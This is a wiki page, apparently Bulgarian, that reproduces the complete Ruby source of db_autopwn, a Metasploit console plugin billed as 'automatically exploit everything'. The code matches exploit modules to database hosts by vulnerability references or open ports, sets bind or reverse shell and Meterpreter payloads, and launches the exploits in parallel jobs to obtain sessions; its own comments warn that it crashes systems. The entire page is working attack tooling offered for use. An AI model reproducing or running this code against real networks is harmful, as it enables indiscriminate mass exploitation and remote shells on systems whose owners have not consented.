Db autopwn.rb скрипт за MSF
от БАРЗИКТ Wiki
Скрипт db_autopwn.rb
#
# db_autopwn - stripped from previous db commands and modified into a plugin as autopwn has been
# pulled from the mainline release.
#
# Issues/Bugs should go to neinwechter via GitHub
#
module Msf
class Plugin::DBAutopwn < Msf::Plugin
class DBAutopwnCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
#
# Constants
#
PWN_SHOW = 2**0
PWN_XREF = 2**1
PWN_PORT = 2**2
PWN_EXPL = 2**3
PWN_SING = 2**4
PWN_SLNT = 2**5
PWN_VERB = 2**6
def name
"db_autopwn"
end
def commands
{
"db_autopwn" => "Automatically exploit everything",
}
end
#
# Returns true if the db is connected, prints an error and returns
# false if not.
#
# All commands that require an active database should call this before
# doing anything.
#
def active?
if not framework.db.active
print_error("Database not connected")
return false
end
true
end
#
# A shotgun approach to network-wide exploitation
# Officially deprecated as of 4.1
#
# Forked for those who still want it and understand it's limitations/issues
#
def cmd_db_autopwn(*args)
return unless active?
print_error("")
print_error("Warning: The db_autopwn command is not officially supported and exists only in a branch.")
print_error(" This code is not well maintained, crashes systems, and crashes itself.")
print_error(" Use only if you understand it's current limitations/issues.")
print_error(" Minimal support and development via neinwechter on GitHub metasploit fork.")
print_error("")
stamp = Time.now.to_f
vcnt = 0
rcnt = 0
mode = 0
code = :bind
mjob = 5
regx = nil
minrank = nil
maxtime = 120
port_inc = []
port_exc = []
targ_inc = []
targ_exc = []
args.push("-h") if args.length == 0
while (arg = args.shift)
case arg
when '-t'
mode |= PWN_SHOW
when '-x'
mode |= PWN_XREF
when '-p'
mode |= PWN_PORT
when '-e'
mode |= PWN_EXPL
when '-s'
mode |= PWN_SING
when '-q'
mode |= PWN_SLNT
when '-v'
mode |= PWN_VERB
when '-j'
mjob = args.shift.to_i
when '-r'
code = :conn
when '-b'
code = :bind
when '-I'
tmpopt = OptAddressRange.new('TEMPRANGE', [ true, '' ])
range = args.shift
if not tmpopt.valid?(range)
print_error("Invalid range for -I")
return
end
targ_inc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range))
when '-X'
tmpopt = OptAddressRange.new('TEMPRANGE', [ true, '' ])
range = args.shift
if not tmpopt.valid?(range)
print_error("Invalid range for -X")
return
end
targ_exc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range))
when '-PI'
port_inc = Rex::Socket.portspec_to_portlist(args.shift)
when '-PX'
port_exc = Rex::Socket.portspec_to_portlist(args.shift)
when '-m'
regx = args.shift
when '-R'
minrank = args.shift
when '-T'
maxtime = args.shift.to_f
when '-h','--help'
print_status("Usage: db_autopwn [options]")
print_line("\t-h Display this help text")
print_line("\t-t Show all matching exploit modules")
print_line("\t-x Select modules based on vulnerability references")
print_line("\t-p Select modules based on open ports")
print_line("\t-e Launch exploits against all matched targets")
# print_line("\t-s Only obtain a single shell per target system (NON-FUNCTIONAL)")
print_line("\t-r Use a reverse connect shell")
print_line("\t-b Use a bind shell on a random port (default)")
print_line("\t-q Disable exploit module output")
print_line("\t-R [rank] Only run modules with a minimal rank")
print_line("\t-I [range] Only exploit hosts inside this range")
print_line("\t-X [range] Always exclude hosts inside this range")
print_line("\t-PI [range] Only exploit hosts with these ports open")
print_line("\t-PX [range] Always exclude hosts with these ports open")
print_line("\t-m [regex] Only run modules whose name matches the regex")
print_line("\t-T [secs] Maximum runtime for any exploit in seconds")
print_line("")
return
end
end
minrank = minrank || framework.datastore['MinimumRank'] || 'manual'
if ! RankingName.values.include?(minrank)
print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
return
else
minrank = RankingName.invert[minrank]
end
# Default to quiet mode
if (mode & PWN_VERB == 0)
mode |= PWN_SLNT
end
matches = {}
refmatches = {}
# Pre-allocate a list of references and ports for all exploits
mrefs = {}
mports = {}
mservs = {}
# A list of jobs we spawned and need to wait for
autopwn_jobs = []
[ [framework.exploits, 'exploit' ], [ framework.auxiliary, 'auxiliary' ] ].each do |mtype|
mtype[0].each_module do |modname, mod|
o = mod.new
if(mode & PWN_XREF != 0)
o.references.each do |r|
next if r.ctx_id == 'URL'
ref = r.ctx_id + "-" + r.ctx_val
ref.upcase!
mrefs[ref] ||= {}
mrefs[ref][o.fullname] = o
end
end
if(mode & PWN_PORT != 0)
if(o.datastore['RPORT'])
rport = o.datastore['RPORT']
mports[rport.to_i] ||= {}
mports[rport.to_i][o.fullname] = o
end
if(o.respond_to?('autofilter_ports'))
o.autofilter_ports.each do |rport|
mports[rport.to_i] ||= {}
mports[rport.to_i][o.fullname] = o
end
end
if(o.respond_to?('autofilter_services'))
o.autofilter_services.each do |serv|
mservs[serv] ||= {}
mservs[serv][o.fullname] = o
end
end
end
end
end
begin
framework.db.hosts.each do |host|
xhost = host.address
next if (targ_inc.length > 0 and not range_include?(targ_inc, xhost))
next if (targ_exc.length > 0 and range_include?(targ_exc, xhost))
if(mode & PWN_VERB != 0)
print_status("Scanning #{xhost} for matching exploit modules...")
end
#
# Match based on vulnerability references
#
if (mode & PWN_XREF != 0)
host.vulns.each do |vuln|
# Faster to handle these here
serv = vuln.service
xport = xprot = nil
if(serv)
xport = serv.port
xprot = serv.proto
end
vuln.refs.each do |ref|
mods = mrefs[ref.name.upcase] || {}
mods.each_key do |modname|
mod = mods[modname]
next if minrank and minrank > mod.rank
next if (regx and mod.fullname !~ /#{regx}/)
if(xport)
next if (port_inc.length > 0 and not port_inc.include?(serv.port.to_i))
next if (port_exc.length > 0 and port_exc.include?(serv.port.to_i))
else
if(mod.datastore['RPORT'])
next if (port_inc.length > 0 and not port_inc.include?(mod.datastore['RPORT'].to_i))
next if (port_exc.length > 0 and port_exc.include?(mod.datastore['RPORT'].to_i))
end
end
next if (regx and mod.fullname !~ /#{regx}/)
mod.datastore['RPORT'] = xport if xport
mod.datastore['RHOST'] = xhost
filtered = false
begin
::Timeout.timeout(2, ::RuntimeError) do
filtered = true if not mod.autofilter()
end
rescue ::Interrupt
raise $!
rescue ::Timeout::Error
filtered = true
rescue ::Exception
filtered = true
end
next if filtered
matches[[xport,xprot,xhost,mod.fullname]]=true
refmatches[[xport,xprot,xhost,mod.fullname]] ||= []
refmatches[[xport,xprot,xhost,mod.fullname]] << ref.name
end
end
end
end
#
# Match based on open ports
#
if (mode & PWN_PORT != 0)
host.services.each do |serv|
next if not serv.host
next if (serv.state != ServiceState::Open)
xport = serv.port.to_i
xprot = serv.proto
xname = serv.name
next if xport == 0
next if (port_inc.length > 0 and not port_inc.include?(xport))
next if (port_exc.length > 0 and port_exc.include?(xport))
mods = mports[xport.to_i] || {}
mods.each_key do |modname|
mod = mods[modname]
next if minrank and minrank > mod.rank
next if (regx and mod.fullname !~ /#{regx}/)
mod.datastore['RPORT'] = xport
mod.datastore['RHOST'] = xhost
filtered = false
begin
::Timeout.timeout(2, ::RuntimeError) do
filtered = true if not mod.autofilter()
end
rescue ::Interrupt
raise $!
rescue ::Exception
filtered = true
end
next if filtered
matches[[xport,xprot,xhost,mod.fullname]]=true
end
mods = mservs[xname] || {}
mods.each_key do |modname|
mod = mods[modname]
next if minrank and minrank > mod.rank
next if (regx and mod.fullname !~ /#{regx}/)
mod.datastore['RPORT'] = xport
mod.datastore['RHOST'] = xhost
filtered = false
begin
::Timeout.timeout(2, ::RuntimeError) do
filtered = true if not mod.autofilter()
end
rescue ::Interrupt
raise $!
rescue ::Exception
filtered = true
end
next if filtered
matches[[xport,xprot,xhost,mod.fullname]]=true
end
end
end
end
rescue ::Exception => e
print_status("ERROR: #{e.class} #{e} #{e.backtrace}")
return
end
if (mode & PWN_SHOW != 0)
print_status("Analysis completed in #{(Time.now.to_f - stamp).to_i} seconds (#{vcnt} vulns / #{rcnt} refs)")
print_status("")
print_status("=" * 80)
print_status(" " * 28 + "Matching Exploit Modules")
print_status("=" * 80)
matches.each_key do |xref|
mod = nil
if ((mod = framework.modules.create(xref[3])) == nil)
print_status("Failed to initialize #{xref[3]}")
next
end
if (mode & PWN_SHOW != 0)
tport = xref[0] || mod.datastore['RPORT']
if(refmatches[xref])
print_status(" #{xref[2]}:#{tport} #{xref[3]} (#{refmatches[xref].join(", ")})")
else
print_status(" #{xref[2]}:#{tport} #{xref[3]} (port match)")
end
end
end
print_status("=" * 80)
print_status("")
print_status("")
end
ilog("db_autopwn: Matched #{matches.length} modules")
idx = 0
matches.each_key do |xref|
idx += 1
begin
mod = nil
if ((mod = framework.modules.create(xref[3])) == nil)
print_status("Failed to initialize #{xref[3]}")
next
end
#
# The code is just a proof-of-concept and will be expanded in the future
#
if (mode & PWN_EXPL != 0)
mod.datastore['RHOST'] = xref[2]
if(xref[0])
mod.datastore['RPORT'] = xref[0].to_s
end
if (code == :bind)
mod.datastore['LPORT'] = (rand(0x8fff) + 4000).to_s
if(mod.fullname =~ /\/windows\//)
mod.datastore['PAYLOAD'] = 'windows/meterpreter/bind_tcp'
else
mod.datastore['PAYLOAD'] = 'generic/shell_bind_tcp'
end
end
if (code == :conn)
mod.datastore['LHOST'] = Rex::Socket.source_address(xref[2])
mod.datastore['LPORT'] = (rand(0x8fff) + 4000).to_s
if (mod.datastore['LHOST'] == '127.0.0.1')
print_status("Failed to determine listener address for target #{xref[2]}...")
next
end
if(mod.fullname =~ /\/windows\//)
mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
else
mod.datastore['PAYLOAD'] = 'generic/shell_reverse_tcp'
end
end
if(framework.jobs.keys.length >= mjob)
print_status("Job limit reached, waiting on modules to finish...")
while(framework.jobs.keys.length >= mjob)
::IO.select(nil, nil, nil, 0.25)
end
end
print_status("(#{idx}/#{matches.length} [#{framework.sessions.length} sessions]): Launching #{xref[3]} against #{xref[2]}:#{mod.datastore['RPORT']}...")
autopwn_jobs << framework.threads.spawn("AutoPwnJob#{xref[3]}", false, mod) do |xmod|
begin
stime = Time.now.to_f
::Timeout.timeout(maxtime) do
inp = (mode & PWN_SLNT != 0) ? nil : driver.input
out = (mode & PWN_SLNT != 0) ? nil : driver.output
case xmod.type
when MODULE_EXPLOIT
xmod.exploit_simple(
'Payload' => xmod.datastore['PAYLOAD'],
'LocalInput' => inp,
'LocalOutput' => out,
'RunAsJob' => false)
when MODULE_AUX
xmod.run_simple(
'LocalInput' => inp,
'LocalOutput' => out,
'RunAsJob' => false)
end
end
rescue ::Timeout::Error
print_status(" >> autopwn module timeout from #{xmod.fullname} after #{Time.now.to_f - stime} seconds")
rescue ::Exception
print_status(" >> autopwn exception during launch from #{xmod.fullname}: #{$!} ")
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception
print_status(" >> autopwn exception from #{xref[3]}: #{$!} #{$!.backtrace}")
end
end
# Wait on all the jobs we just spawned
while (not autopwn_jobs.empty?)
# All running jobs are stored in framework.jobs. If it's
# not in this list, it must have completed.
autopwn_jobs.delete_if { |j| not j.alive? }
print_status("(#{matches.length}/#{matches.length} [#{framework.sessions.length} sessions]): Waiting on #{autopwn_jobs.length} launched modules to finish execution...")
::IO.select(nil, nil, nil, 5.0)
end
if (mode & PWN_SHOW != 0 and mode & PWN_EXPL != 0)
print_status("The autopwn command has completed with #{framework.sessions.length} sessions")
if(framework.sessions.length > 0)
print_status("Enter sessions -i [ID] to interact with a given session ID")
print_status("")
print_status("=" * 80)
driver.run_single("sessions -l -v")
print_status("=" * 80)
end
end
print_line("")
# EOM
end
##############################
##############################
end
def initialize(framework, opts)
super
add_console_dispatcher(DBAutopwnCommandDispatcher)
end
def cleanup
remove_console_dispatcher('db_autopwn')
end
def name
"db_autopwn"
end
def desc
"Automatically exploit everything"
end
end
end
